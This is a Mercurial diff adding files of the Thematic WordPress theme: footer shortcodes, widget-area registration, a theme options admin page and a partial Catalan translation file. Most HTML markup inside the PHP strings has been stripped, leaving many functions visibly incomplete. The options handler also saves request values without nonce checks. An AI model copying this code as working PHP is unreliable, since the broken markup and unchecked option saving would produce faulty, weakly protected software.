$nice_tag_query.$tag->name.$tag_ops[$tag_ops_counter]; + $tag_ops_counter += 1; + } + return $nice_tag_query; +} + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/extensions/shortcodes.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/extensions/shortcodes.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,82 @@ +WordPress'; +} +add_shortcode('wp-link', 'thmfooter_wp_link'); + +function thmfooter_theme_link() { + $themelink = 'Thematic Theme Framework'; + return apply_filters('thematic_theme_link',$themelink); +} +add_shortcode('theme-link', 'thmfooter_theme_link'); + +function thmfooter_login_link() { + if ( ! is_user_logged_in() ) + $link = '' . __('Login','thematic') . ''; + else + $link = '' . __('Logout','thematic') . ''; + return apply_filters('loginout', $link); +} +add_shortcode('loginout-link', 'thmfooter_login_link'); + +function thmfooter_blog_title() { + return '' . get_bloginfo('name') . ''; +} +add_shortcode('blog-title', 'thmfooter_blog_title'); + +function thmfooter_blog_link() { + return '' . get_option('blogname') . ""; +} +add_shortcode('blog-link', 'thmfooter_blog_link'); + +function thmfooter_year() { + return '' . date('Y') . ''; +} +add_shortcode('the-year', 'thmfooter_year'); + +// Providing information about Thematic + +function theme_name() { + return THEMENAME; +} +add_shortcode('theme-name', 'theme_name'); + +function theme_author() { + return THEMEAUTHOR; +} +add_shortcode('theme-author', 'theme_author'); + +function theme_uri() { + return THEMEURI; +} +add_shortcode('theme-uri', 'theme_uri'); + +function theme_version() { + return THEMATICVERSION; +} +add_shortcode('theme-version', 'theme_version'); + +// Providing information about the child theme + +function child_name() { + return TEMPLATENAME; +} +add_shortcode('child-name', 'child_name'); + +function child_author() { + return TEMPLATEAUTHOR; +} +add_shortcode('child-author', 'child_author'); + +function child_uri() { + return TEMPLATEURI; +} +add_shortcode('child-uri', 'child_uri'); + +function child_version() { + return TEMPLATEVERSION; +} +add_shortcode('child-version', 'child_version'); + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/extensions/sidebar-extensions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/extensions/sidebar-extensions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,299 @@ + + +
          + + + +
          + + __('Index Insert Position','thematic'), + "desc" => __('The widgetized Index Insert will follow after this post number.','thematic'), + "id" => $shortname."_insert_position", + "std" => "2", + "type" => "text"), + + array( "name" => __('Info on Author Page','thematic'), + "desc" => __("Display a microformatted vCard—with the author's avatar, bio and email—on the author page.",'thematic'), + "id" => $shortname."_authorinfo", + "std" => "false", + "type" => "checkbox"), + + array( "name" => __('Text in Footer','thematic'), + "desc" => __("You can use the following shortcodes in your footer text: [wp-link] [theme-link] [loginout-link] [blog-title] [blog-link] [the-year]",'thematic'), + "id" => $shortname."_footertext", + "std" => __("Powered by [wp-link]. Built on the [theme-link].", 'thematic'), + "type" => "textarea", + "options" => array( "rows" => "5", + "cols" => "94") ), + + ); + +function mytheme_add_admin() { + + global $themename, $shortname, $options, $blog_id; + + if ( $_GET['page'] == basename(__FILE__) ) { + + if ( 'save' == $_REQUEST['action'] ) { + + foreach ($options as $value) { + update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } + + foreach ($options as $value) { + if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } } + + header("Location: themes.php?page=theme-options.php&saved=true"); + die; + + } else if( 'reset' == $_REQUEST['action'] ) { + + foreach ($options as $value) { + delete_option( $value['id'] ); } + + header("Location: themes.php?page=theme-options.php&reset=true"); + die; + + } else if ( 'resetwidgets' == $_REQUEST['action'] ) { + update_option('sidebars_widgets',NULL); + header("Location: themes.php?page=theme-options.php&resetwidgets=true"); + die; + } + } + + add_theme_page($themename." Options", "Thematic Options", 'edit_themes', basename(__FILE__), 'mytheme_admin'); + +} + +function mytheme_admin() { + + global $themename, $shortname, $options; + + if ( $_REQUEST['saved'] ) echo '

          '.$themename.' '.__('settings saved.','thematic').'

          '; + if ( $_REQUEST['reset'] ) echo '

          '.$themename.' '.__('settings reset.','thematic').'

          '; + if ( $_REQUEST['resetwidgets'] ) echo '

          '.$themename.' '.__('widgets reset.','thematic').'

          '; + +?> +
          + +

          Options

          + +
          + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
          + " /> + + +
          + +

          + $option) { + $radio_setting = get_option($value['id']); + if($radio_setting != ''){ + if ($key == get_option($value['id']) ) { + $checked = "checked=\"checked\""; + } else { + $checked = ""; + } + }else{ + if($key == $value['std']){ + $checked = "checked=\"checked\""; + }else{ + $checked = ""; + } + }?> + />
          + +
          + + /> + +
          + +

          + + +

          +
          +
          +

          + + +

          +
          +
          +

          + + +

          +
          + +

          visit ThemeShaper. Please visit the ThemeShaper Forums if you have any questions about Thematic.', 'thematic'); ?>

          +
          + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/extensions/widgets-extensions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/extensions/widgets-extensions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,468 @@ +'; + $search_form .= "\n" . "\t" . "\t"; + $search_form .= '
          '; + $search_form .= "\n" . "\t" . "\t". "\t"; + if (is_search()) { + $search_form .= ''; + } else { + $value = __('To search, type and hit enter', 'thematic'); + $value = apply_filters('search_field_value',$value); + $search_form .= ''; + } + $search_form .= "\n" . "\t" . "\t". "\t"; + + $search_submit = ''; + + $search_form .= apply_filters('thematic_search_submit', $search_submit); + + $search_form .= "\n" . "\t" . "\t"; + $search_form .= '
          '; + + $search_form .= "\n" . "\t"; + $search_form .= ''; + + echo apply_filters('thematic_search_form', $search_form); + +} + +// Widgets plugin: intializes the plugin after the widgets above have passed snuff + +function thematic_widgets_init() { + + // Define array for the widgetized areas + $thematic_widgetized_areas = array( + 'Primary Aside' => array( + 'admin_menu_order' => 100, + 'args' => array ( + 'name' => 'Primary Aside', + 'id' => 'primary-aside', + 'description' => __('The primary widget area, most often used as a sidebar.', 'thematic'), + 'before_widget' => thematic_before_widget(), + 'after_widget' => thematic_after_widget(), + 'before_title' => thematic_before_title(), + 'after_title' => thematic_after_title(), + ), + 'action_hook' => 'widget_area_primary_aside', + 'function' => 'thematic_primary_aside', + 'priority' => 10, + ), + 'Secondary Aside' => array( + 'admin_menu_order' => 200, + 'args' => array ( + 'name' => 'Secondary Aside', + 'id' => 'secondary-aside', + 'description' => __('The secondary widget area, most often used as a sidebar.', 'thematic'), + 'before_widget' => thematic_before_widget(), + 'after_widget' => thematic_after_widget(), + 'before_title' => thematic_before_title(), + 'after_title' => thematic_after_title(), + ), + 'action_hook' => 'widget_area_secondary_aside', + 'function' => 'thematic_secondary_aside', + 'priority' => 10, + ), + '1st Subsidiary Aside' => array( + 'admin_menu_order' => 300, + 'args' => array ( + 'name' => '1st Subsidiary Aside', + 'id' => '1st-subsidiary-aside', + 'description' => __('The 1st widget area in the footer.', 'thematic'), + 'before_widget' => thematic_before_widget(), + 'after_widget' => thematic_after_widget(), + 'before_title' => thematic_before_title(), + 'after_title' => thematic_after_title(), + ), + 'action_hook' => 'widget_area_subsidiaries', + 'function' => 'thematic_1st_subsidiary_aside', + 'priority' => 30, + ), + '2nd Subsidiary Aside' => array( + 'admin_menu_order' => 400, + 'args' => array ( + 'name' => '2nd Subsidiary Aside', + 'id' => '2nd-subsidiary-aside', + 'description' => __('The 2nd widget area in the footer.', 'thematic'), + 'before_widget' => thematic_before_widget(), + 'after_widget' => thematic_after_widget(), + 'before_title' => thematic_before_title(), + 'after_title' => thematic_after_title(), + ), + 'action_hook' => 'widget_area_subsidiaries', + 'function' => 'thematic_2nd_subsidiary_aside', + 'priority' => 50, + ), + '3rd Subsidiary Aside' => array( + 'admin_menu_order' => 500, + 'args' => array ( + 'name' => '3rd Subsidiary Aside', + 'id' => '3rd-subsidiary-aside', + 'description' => __('The 3rd widget area in the footer.', 'thematic'), + 'before_widget' => thematic_before_widget(), + 'after_widget' => thematic_after_widget(), + 'before_title' => thematic_before_title(), + 'after_title' => thematic_after_title(), + ), + 'action_hook' => 'widget_area_subsidiaries', + 'function' => 'thematic_3rd_subsidiary_aside', + 'priority' => 70, + ), + 'Index Top' => array( + 'admin_menu_order' => 600, + 'args' => array ( + 'name' => 'Index Top', + 'id' => 'index-top', + 'description' => __('The top widget area displayed on the index page.', 'thematic'), + 'before_widget' => thematic_before_widget(), + 'after_widget' => thematic_after_widget(), + 'before_title' => thematic_before_title(), + 'after_title' => thematic_after_title(), + ), + 'action_hook' => 'widget_area_index_top', + 'function' => 'thematic_index_top', + 'priority' => 10, + ), + 'Index Insert' => array( + 'admin_menu_order' => 700, + 'args' => array ( + 'name' => 'Index Insert', + 'id' => 'index-insert', + 'description' => __('The widget area inserted after x posts on the index page.', 'thematic'), + 'before_widget' => thematic_before_widget(), + 'after_widget' => thematic_after_widget(), + 'before_title' => thematic_before_title(), + 'after_title' => thematic_after_title(), + ), + 'action_hook' => 'widget_area_index_insert', + 'function' => 'thematic_index_insert', + 'priority' => 10, + ), + 'Index Bottom' => array( + 'admin_menu_order' => 800, + 'args' => array ( + 'name' => 'Index Bottom', + 'id' => 'index-bottom', + 'description' => __('The bottom widget area displayed on the index page.', 'thematic'), + 'before_widget' => thematic_before_widget(), + 'after_widget' => thematic_after_widget(), + 'before_title' => thematic_before_title(), + 'after_title' => thematic_after_title(), + ), + 'action_hook' => 'widget_area_index_bottom', + 'function' => 'thematic_index_bottom', + 'priority' => 10, + ), + 'Single Top' => array( + 'admin_menu_order' => 900, + 'args' => array ( + 'name' => 'Single Top', + 'id' => 'single-top', + 'description' => __('The top widget area displayed on a single post.', 'thematic'), + 'before_widget' => thematic_before_widget(), + 'after_widget' => thematic_after_widget(), + 'before_title' => thematic_before_title(), + 'after_title' => thematic_after_title(), + ), + 'action_hook' => 'widget_area_single_top', + 'function' => 'thematic_single_top', + 'priority' => 10, + ), + 'Single Insert' => array( + 'admin_menu_order' => 1000, + 'args' => array ( + 'name' => 'Single Insert', + 'id' => 'single-insert', + 'description' => __('The widget area inserted between the post and the comments on a single post.', 'thematic'), + 'before_widget' => thematic_before_widget(), + 'after_widget' => thematic_after_widget(), + 'before_title' => thematic_before_title(), + 'after_title' => thematic_after_title(), + ), + 'action_hook' => 'widget_area_single_insert', + 'function' => 'thematic_single_insert', + 'priority' => 10, + ), + 'Single Bottom' => array( + 'admin_menu_order' => 1100, + 'args' => array ( + 'name' => 'Single Bottom', + 'id' => 'single-bottom', + 'description' => __('The bottom widget area displayed on a single post.', 'thematic'), + 'before_widget' => thematic_before_widget(), + 'after_widget' => thematic_after_widget(), + 'before_title' => thematic_before_title(), + 'after_title' => thematic_after_title(), + ), + 'action_hook' => 'widget_area_single_bottom', + 'function' => 'thematic_single_bottom', + 'priority' => 10, + ), + 'Page Top' => array( + 'admin_menu_order' => 1200, + 'args' => array ( + 'name' => 'Page Top', + 'id' => 'page-top', + 'description' => __('The top widget area displayed on a page.', 'thematic'), + 'before_widget' => thematic_before_widget(), + 'after_widget' => thematic_after_widget(), + 'before_title' => thematic_before_title(), + 'after_title' => thematic_after_title(), + ), + 'action_hook' => 'widget_area_page_top', + 'function' => 'thematic_page_top', + 'priority' => 10, + ), + 'Page Bottom' => array( + 'admin_menu_order' => 1300, + 'args' => array ( + 'name' => 'Page Bottom', + 'id' => 'page-bottom', + 'description' => __('The bottom widget area displayed on a page.', 'thematic'), + 'before_widget' => thematic_before_widget(), + 'after_widget' => thematic_after_widget(), + 'before_title' => thematic_before_title(), + 'after_title' => thematic_after_title(), + ), + 'action_hook' => 'widget_area_page_bottom', + 'function' => 'thematic_page_bottom', + 'priority' => 10, + ), + ); + + $thematic_widgetized_areas = apply_filters('thematic_widgetized_areas', $thematic_widgetized_areas); + + if ( !function_exists('register_sidebars') ) + return; + + foreach ($thematic_widgetized_areas as $key => $value) { + register_sidebar($thematic_widgetized_areas[$key]['args']); + if (!has_action($thematic_widgetized_areas[$key]['action_hook'], $thematic_widgetized_areas[$key]['function'])) { + add_action($thematic_widgetized_areas[$key]['action_hook'], $thematic_widgetized_areas[$key]['function'], $thematic_widgetized_areas[$key]['priority']); + } + } + + // we will check for a Thematic widgets directory and and add and activate additional widgets + // Thanks to Joern Kretzschmar + $widgets_dir = @ dir(ABSPATH . '/wp-content/themes/' . get_template() . '/widgets'); + if ($widgets_dir) { + while(($widgetFile = $widgets_dir->read()) !== false) { + if (!preg_match('|^\.+$|', $widgetFile) && preg_match('|\.php$|', $widgetFile)) + include(ABSPATH . '/wp-content/themes/' . get_template() . '/widgets/' . $widgetFile); + } + } + + // we will check for the child themes widgets directory and add and activate additional widgets + // Thanks to Joern Kretzschmar + $widgets_dir = @ dir(ABSPATH . '/wp-content/themes/' . get_stylesheet() . '/widgets'); + if ((TEMPLATENAME != THEMENAME) && ($widgets_dir)) { + while(($widgetFile = $widgets_dir->read()) !== false) { + if (!preg_match('|^\.+$|', $widgetFile) && preg_match('|\.php$|', $widgetFile)) + include(ABSPATH . '/wp-content/themes/' . get_stylesheet() . '/widgets/' . $widgetFile); + } + } + + // Remove WP default Widgets + // WP 2.8 function using $widget_class + if (function_exists('unregister_widget')) { + unregister_widget('WP_Widget_Meta'); + unregister_widget('WP_Widget_Search'); + unregister_widget(''); + + // pre WP 2.8 function using $id + } else { + unregister_widget_control('meta'); + unregister_widget_control('search'); + } + + // Finished intializing Widgets plugin, now let's load the thematic default widgets + register_sidebar_widget(__('Search', 'thematic'), 'widget_thematic_search', null, 'search'); + unregister_widget_control('search'); + register_sidebar_widget(__('Meta', 'thematic'), 'widget_thematic_meta', null, 'meta'); + unregister_widget_control('meta'); + register_sidebar_widget(array(__('RSS Links', 'thematic'), 'widgets'), 'widget_thematic_rsslinks'); + register_widget_control(array(__('RSS Links', 'thematic'), 'widgets'), 'widget_thematic_rsslinks_control', 300, 90); + + // Pre-set Widgets + $preset_widgets = array ( + 'primary-aside' => array( 'search', 'pages', 'categories', 'archives' ), + 'secondary-aside' => array( 'links', 'rss-links', 'meta' ) + ); + + if ( isset( $_GET['activated'] ) ) { + update_option( 'sidebars_widgets', apply_filters('thematic_preset_widgets',$preset_widgets )); + } + +} + +// Runs our code at the end to check that everything needed has loaded +add_action( 'widgets_init', 'thematic_widgets_init' ); + +// We sort our array of widgetized areas to get a nice list display under wp-admin +function thematic_sort_widgetized_areas($content) { + asort($content); + return $content; +} +add_filter('thematic_widgetized_areas', 'thematic_sort_widgetized_areas', 100); + +// We start our functions for the widgetized areas here + +// Define the Primary Aside +function thematic_primary_aside() { + if (is_sidebar_active('primary-aside')) { + echo thematic_before_widget_area('primary-aside'); + dynamic_sidebar('primary-aside'); + echo thematic_after_widget_area('primary-aside'); + } +} + +// Define the Secondary Aside +function thematic_secondary_aside() { + if (is_sidebar_active('secondary-aside')) { + echo thematic_before_widget_area('secondary-aside'); + dynamic_sidebar('secondary-aside'); + echo thematic_after_widget_area('secondary-aside'); + } +} + +// Define the 1st Subsidiary Aside +function thematic_1st_subsidiary_aside() { + if (is_sidebar_active('1st-subsidiary-aside')) { + echo thematic_before_widget_area('1st-subsidiary-aside'); + dynamic_sidebar('1st-subsidiary-aside'); + echo thematic_after_widget_area('1st-subsidiary-aside'); + } +} + +// Define the 2nd Subsidiary Aside +function thematic_2nd_subsidiary_aside() { + if (is_sidebar_active('2nd-subsidiary-aside')) { + echo thematic_before_widget_area('2nd-subsidiary-aside'); + dynamic_sidebar('2nd-subsidiary-aside'); + echo thematic_after_widget_area('2nd-subsidiary-aside'); + } +} + +// Define the 3rd Subsidiary Aside +function thematic_3rd_subsidiary_aside() { + if (is_sidebar_active('3rd-subsidiary-aside')) { + echo thematic_before_widget_area('3rd-subsidiary-aside'); + dynamic_sidebar('3rd-subsidiary-aside'); + echo thematic_after_widget_area('3rd-subsidiary-aside'); + } +} + +// Define the Index Top +function thematic_index_top() { + if (is_sidebar_active('index-top')) { + echo thematic_before_widget_area('index-top'); + dynamic_sidebar('index-top'); + echo thematic_after_widget_area('index-top'); + } +} + +// Define the Index Insert +function thematic_index_insert() { + if (is_sidebar_active('index-insert')) { + echo thematic_before_widget_area('index-insert'); + dynamic_sidebar('index-insert'); + echo thematic_after_widget_area('index-insert'); + } +} + +// Define the Index Bottom +function thematic_index_bottom() { + if (is_sidebar_active('index-bottom')) { + echo thematic_before_widget_area('index-bottom'); + dynamic_sidebar('index-bottom'); + echo thematic_after_widget_area('index-bottom'); + } +} + +// Define the Single Top +function thematic_single_top() { + if (is_sidebar_active('single-top')) { + echo thematic_before_widget_area('single-top'); + dynamic_sidebar('single-top'); + echo thematic_after_widget_area('single-top'); + } +} + +// Define the Single Insert +function thematic_single_insert() { + if (is_sidebar_active('single-insert')) { + echo thematic_before_widget_area('single-insert'); + dynamic_sidebar('single-insert'); + echo thematic_after_widget_area('single-insert'); + } +} + +// Define the Single Bottom +function thematic_single_bottom() { + if (is_sidebar_active('single-bottom')) { + echo thematic_before_widget_area('single-bottom'); + dynamic_sidebar('single-bottom'); + echo thematic_after_widget_area('single-bottom'); + } +} + +// Define the Page Top +function thematic_page_top() { + if (is_sidebar_active('page-top')) { + echo thematic_before_widget_area('page-top'); + dynamic_sidebar('page-top'); + echo thematic_after_widget_area('page-top'); + } +} + +// Define the Page Bottom +function thematic_page_bottom() { + if (is_sidebar_active('page-bottom')) { + echo thematic_before_widget_area('page-bottom'); + dynamic_sidebar('page-bottom'); + echo thematic_after_widget_area('page-bottom'); + } +} + +// this function returns the opening CSS markup for the widget area +function thematic_before_widget_area($hook) { + $content = "\n"; + if ($hook == 'primary-aside') { + $content .= '
          ' . "\n"; + } elseif ($hook == 'secondary-aside') { + $content .= '
          ' . "\n"; + } elseif ($hook == '1st-subsidiary-aside') { + $content .= '
          ' . "\n"; + } elseif ($hook == '2nd-subsidiary-aside') { + $content .= '
          ' . "\n"; + } elseif ($hook == '3rd-subsidiary-aside') { + $content .= '
          ' . "\n"; + } else { + $content .= '
          ' ."\n"; + } + $content .= "\t" . '
            ' . "\n"; + return apply_filters('thematic_before_widget_area', $content); +} + +// this function returns the clossing CSS markup for the widget area +function thematic_after_widget_area($hook) { + $content = "\n" . "\t" . '
          ' ."\n"; + if ($hook == 'primary-aside') { + $content .= '
          ' ."\n"; + } elseif ($hook == 'secondary-aside') { + $content .= '
          ' ."\n"; + } elseif ($hook == '1st-subsidiary-aside') { + $content .= '
          ' ."\n"; + } elseif ($hook == '2nd-subsidiary-aside') { + $content .= '
          ' ."\n"; + } elseif ($hook == '3rd-subsidiary-aside') { + $content .= '
          ' ."\n"; + } else { + $content .= '
          ' ."\n"; + } + return apply_filters('thematic_after_widget_area', $content); +} + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/extensions/widgets.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/extensions/widgets.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,101 @@ +'; + return apply_filters('thematic_before_widget', $content); +} + +// CSS markup after the widget +function thematic_after_widget() { + $content = ''; + return apply_filters('thematic_after_widget', $content); +} + +// CSS markup before the widget title +function thematic_before_title() { + $content = "

          "; + return apply_filters('thematic_before_title', $content); +} + +// CSS markup after the widget title +function thematic_after_title() { + $content = "

          \n"; + return apply_filters('thematic_after_title', $content); +} + +// Widget: Thematic Search +function widget_thematic_search($args) { + extract($args); + if ( empty($title) ) + $title = __('Search', 'thematic'); +?> + + + + +
            + +
          • + +
          + + + + +
            +
          • +
          • +
          + + +

          + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/grids/960_grid_12_col.gif Binary file web/wp-content/themes/thematic/library/grids/960_grid_12_col.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/grids/960_grid_12_col_18px_height.gif Binary file web/wp-content/themes/thematic/library/grids/960_grid_12_col_18px_height.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/grids/960_grid_12_col_21px_height.gif Binary file web/wp-content/themes/thematic/library/grids/960_grid_12_col_21px_height.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/ca.mo Binary file web/wp-content/themes/thematic/library/languages/ca.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/ca.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/languages/ca.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,486 @@ +# kubrick theme pot file. +# Copyright (C) 2007 WordPress +# This file is distributed under the same license as the kubrick theme package. +# +msgid "" +msgstr "" +"Project-Id-Version: Thematic 0.9\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-11-12 18:30+0100\n" +"PO-Revision-Date: 2009-11-11 19:30+0100\n" +"Last-Translator: Manfred Burkardt \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Catalan\n" +"X-Poedit-Country: SPAIN\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: __;_e\n" +"X-Poedit-Basepath: .\n" +"X-Poedit-SearchPath-0: ../../../thematic\n" + +#: ../../../thematicSVN/404.php:10 +msgid "Apologies, but we were unable to find what you were looking for. Perhaps searching will help." +msgstr "Perdoneu, però no hem trobat el que busqueu. " + +#: ../../../thematicSVN/404.php:15 +#: ../../../thematicSVN/search.php:58 +msgid "Find" +msgstr "Trobar" + +#: ../../../thematicSVN/archive.php:16 +#, php-format +msgid "Daily Archives: %s" +msgstr "Arxius diarus: %s" + +#: ../../../thematicSVN/archive.php:18 +#, php-format +msgid "Monthly Archives: %s" +msgstr "Arxius per mes: %s" + +#: ../../../thematicSVN/archive.php:20 +#, php-format +msgid "Yearly Archives: %s" +msgstr "Arxius per any: %s" + +#: ../../../thematicSVN/archive.php:22 +msgid "Blog Archives" +msgstr "Arxius de bloc" + +#: ../../../thematicSVN/archive.php:31 +#: ../../../thematicSVN/archive.php:53 +#: ../../../thematicSVN/author.php:21 +#: ../../../thematicSVN/author.php:57 +#: ../../../thematicSVN/category.php:20 +#: ../../../thematicSVN/category.php:42 +#: ../../../thematicSVN/index.php:17 +#: ../../../thematicSVN/index.php:49 +#: ../../../thematicSVN/search.php:21 +#: ../../../thematicSVN/search.php:43 +msgid "« Older posts" +msgstr "« Entrades anteriors" + +#: ../../../thematicSVN/archive.php:32 +#: ../../../thematicSVN/archive.php:54 +#: ../../../thematicSVN/author.php:22 +#: ../../../thematicSVN/author.php:58 +#: ../../../thematicSVN/category.php:21 +#: ../../../thematicSVN/category.php:43 +#: ../../../thematicSVN/index.php:18 +#: ../../../thematicSVN/index.php:50 +#: ../../../thematicSVN/search.php:22 +#: ../../../thematicSVN/search.php:44 +msgid "Newer posts »" +msgstr "Entrades recents »" + +#: ../../../thematicSVN/archive.php:41 +#: ../../../thematicSVN/attachment.php:20 +#: ../../../thematicSVN/author.php:45 +#: ../../../thematicSVN/category.php:30 +#: ../../../thematicSVN/index.php:30 +#: ../../../thematicSVN/search.php:31 +msgid "Read More »" +msgstr "Llegir Més »" + +#: ../../../thematicSVN/archives.php:20 +msgid "Archives by Category" +msgstr "Arxius per categoria" + +#: ../../../thematicSVN/archives.php:26 +msgid "Archives by Month" +msgstr "Arxius per Mes" + +#: ../../../thematicSVN/archives.php:32 +#: ../../../thematicSVN/links.php:20 +#: ../../../thematicSVN/page.php:16 +msgid "Edit" +msgstr "Editar" + +#: ../../../thematicSVN/attachment.php:22 +#: ../../../thematicSVN/index.php:32 +msgid "Pages:" +msgstr "Pàgines:" + +#: ../../../thematicSVN/author.php:15 +msgid "Author Archives: " +msgstr "Arxius de l'autor: " + +#: ../../../thematicSVN/author.php:34 +msgid "Email " +msgstr "Email" + +#: ../../../thematicSVN/category.php:13 +msgid "Category Archives:" +msgstr "Arxius per categoria:" + +#: ../../../thematicSVN/comments.php:10 +msgid "This post is password protected. Enter the password to view any comments." +msgstr "Aquesta entrada està protegida per contrasenya. Poseu la contrasenya per veure els comentaris." + +#: ../../../thematicSVN/comments.php:31 +#, php-format +msgid "%d Comments" +msgstr "%d Comentaris" + +#: ../../../thematicSVN/comments.php:31 +msgid "One Comment" +msgstr "Un Comentari" + +#: ../../../thematicSVN/comments.php:52 +#, php-format +msgid "%d Trackbacks" +msgstr "%d Trackbacks" + +#: ../../../thematicSVN/comments.php:52 +msgid "One Trackback" +msgstr "Un Trackback" + +#: ../../../thematicSVN/comments.php:67 +msgid "Post a Comment" +msgstr "Publicar un comentari" + +#: ../../../thematicSVN/comments.php:67 +#, php-format +msgid "Post a Reply to %s" +msgstr "Respongueu a %s" + +#: ../../../thematicSVN/comments.php:72 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Has de obrir una sessió per publicar un comentari." + +#: ../../../thematicSVN/comments.php:83 +#, php-format +msgid "Logged in as %2$s. Log out?" +msgstr "Sessió onert com %2$s. ¿Sortir?" + +#: ../../../thematicSVN/comments.php:90 +msgid "Your email is never published nor shared." +msgstr "El teu correu mai serà compartit o publicat." + +#: ../../../thematicSVN/comments.php:90 +msgid "Required fields are marked *" +msgstr "Els camps obligatoris estàn marcats * " + +#: ../../../thematicSVN/comments.php:93 +msgid "Name" +msgstr "Nom" + +#: ../../../thematicSVN/comments.php:93 +#: ../../../thematicSVN/comments.php:98 +msgid "*" +msgstr "*" + +#: ../../../thematicSVN/comments.php:98 +msgid "Email" +msgstr "Email" + +#: ../../../thematicSVN/comments.php:103 +msgid "Website" +msgstr "Website" + +#: ../../../thematicSVN/comments.php:110 +msgid "Comment" +msgstr "Comentari" + +#: ../../../thematicSVN/comments.php:120 +msgid "Post Comment" +msgstr "Publicar comentari" + +#: ../../../thematicSVN/page.php:14 +msgid "Pages: " +msgstr "Pàgines: " + +#: ../../../thematicSVN/search.php:15 +msgid "Search Results for:" +msgstr "Resultats de la cerca:" + +#: ../../../thematicSVN/search.php:51 +msgid "Nothing Found" +msgstr "No s'ha trobat res" + +#: ../../../thematicSVN/search.php:53 +msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." +msgstr "Perdoneu, però no s'ha trobat res. Intenteu amb termes diferents." + +#: ../../../thematicSVN/sidebar.php:6 +#: ../../../thematicSVN/sidebar.php:10 +msgid "Search" +msgstr "Cercar" + +#: ../../../thematicSVN/sidebar.php:16 +msgid "Pages" +msgstr "Pàgines" + +#: ../../../thematicSVN/sidebar.php:23 +msgid "Categories" +msgstr "Categories" + +#: ../../../thematicSVN/sidebar.php:31 +msgid "Archives" +msgstr "Arxius" + +#: ../../../thematicSVN/sidebar.php:50 +msgid "RSS Feeds" +msgstr "RSS-Feeds" + +#: ../../../thematicSVN/sidebar.php:52 +#: ../../../thematicSVN/library/extensions/hooks-filters.php:391 +msgid "Posts RSS feed" +msgstr "Publicar Feed de RSS" + +#: ../../../thematicSVN/sidebar.php:52 +msgid "All posts" +msgstr "Totes les entrades" + +#: ../../../thematicSVN/sidebar.php:53 +#: ../../../thematicSVN/library/extensions/hooks-filters.php:409 +msgid "Comments RSS feed" +msgstr "RSS dels comentaris" + +#: ../../../thematicSVN/sidebar.php:53 +msgid "All comments" +msgstr "Tots els comentaris" + +#: ../../../thematicSVN/sidebar.php:58 +msgid "Meta" +msgstr "Info" + +#: ../../../thematicSVN/tag.php:13 +#: ../../../thematicSVN/library/extensions/hooks-filters.php:207 +msgid "Tag Archives:" +msgstr "Arxius de tags" + +#: ../../../thematicSVN/library/extensions/discussion.php:10 +#, php-format +msgid "Posted %1$s at %2$s | Permalink" +msgstr "Publicat %1$s en %2$s | Permalink" + +#: ../../../thematicSVN/library/extensions/discussion.php:15 +msgid "\t\t\t\t\tYour comment is awaiting moderation.\n" +msgstr "\t\t\t\t\tEl vostre comentari està esperant moderació.\n" + +#: ../../../thematicSVN/library/extensions/discussion.php:22 +msgid "Reply" +msgstr "Respondre" + +#: ../../../thematicSVN/library/extensions/discussion.php:23 +msgid "Log in to reply." +msgstr "Obre una sessió per respondre." + +#: ../../../thematicSVN/library/extensions/discussion.php:37 +#, php-format +msgid "By %1$s on %2$s at %3$s" +msgstr "Per %1$s el %2$s a les %3$s" + +#: ../../../thematicSVN/library/extensions/discussion.php:42 +msgid "\\t\\t\\t\\t\\tYour trackback is awaiting moderation.\\n" +msgstr "\\t\\t\\t\\t\\tEl vostre trackback està esperant moderació.\\n" + +#: ../../../thematicSVN/library/extensions/helpers.php:31 +#: ../../../thematicSVN/library/extensions/helpers.php:44 +msgid "There is no excerpt because this is a protected post." +msgstr "No n'hi ha excerpt perquè aquest post està protegit." + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:61 +msgid "Skip navigation to the content" +msgstr "Saltar navegació al contingut" + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:61 +msgid "Skip to content" +msgstr "Saltar al contingut" + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:211 +#: ../../../thematicSVN/library/extensions/hooks-filters.php:498 +msgid "Not Found" +msgstr "No s'ha trobat" + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:490 +#: ../../../thematicSVN/library/extensions/hooks-filters.php:545 +msgid "Edit post" +msgstr "Editar entrada" + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:503 